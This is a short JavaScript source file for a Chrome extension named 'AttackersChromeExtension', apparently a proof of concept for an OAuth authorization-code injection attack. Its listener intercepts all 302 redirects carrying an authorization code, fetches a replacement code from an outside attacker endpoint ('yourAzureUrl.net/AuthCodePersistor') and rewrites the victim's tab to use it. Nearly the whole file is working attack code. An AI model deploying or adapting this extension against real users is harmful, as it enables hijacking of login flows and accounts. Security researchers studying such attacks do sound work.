AttackersChromeExtension

AttackersChromeExtension.js

const callback = function(details) {	
	if (details.statusCode === 302) {
		const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION');		
		const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app
		if (locationHeader && locationHeader.value.includes(callbackPath)) {
			const authCode = locationHeader.value.split('=')[1].split('&')[0];			
			
			// Attacker code:
			fetch('https://yourAzureUrl.net/AuthCodePersistor').then(r => r.text()).then(result => {				
				const newUrl = locationHeader.value.replace(authCode, result);				
				chrome.tabs.update(details.tabId, {url: newUrl});
			});
		}
	}
	
	return { responseHeaders: details.responseHeaders };
}

const filter = { urls: ["*://*/*"] };

chrome.webRequest.onHeadersReceived.addListener(callback, filter, ["responseHeaders"]);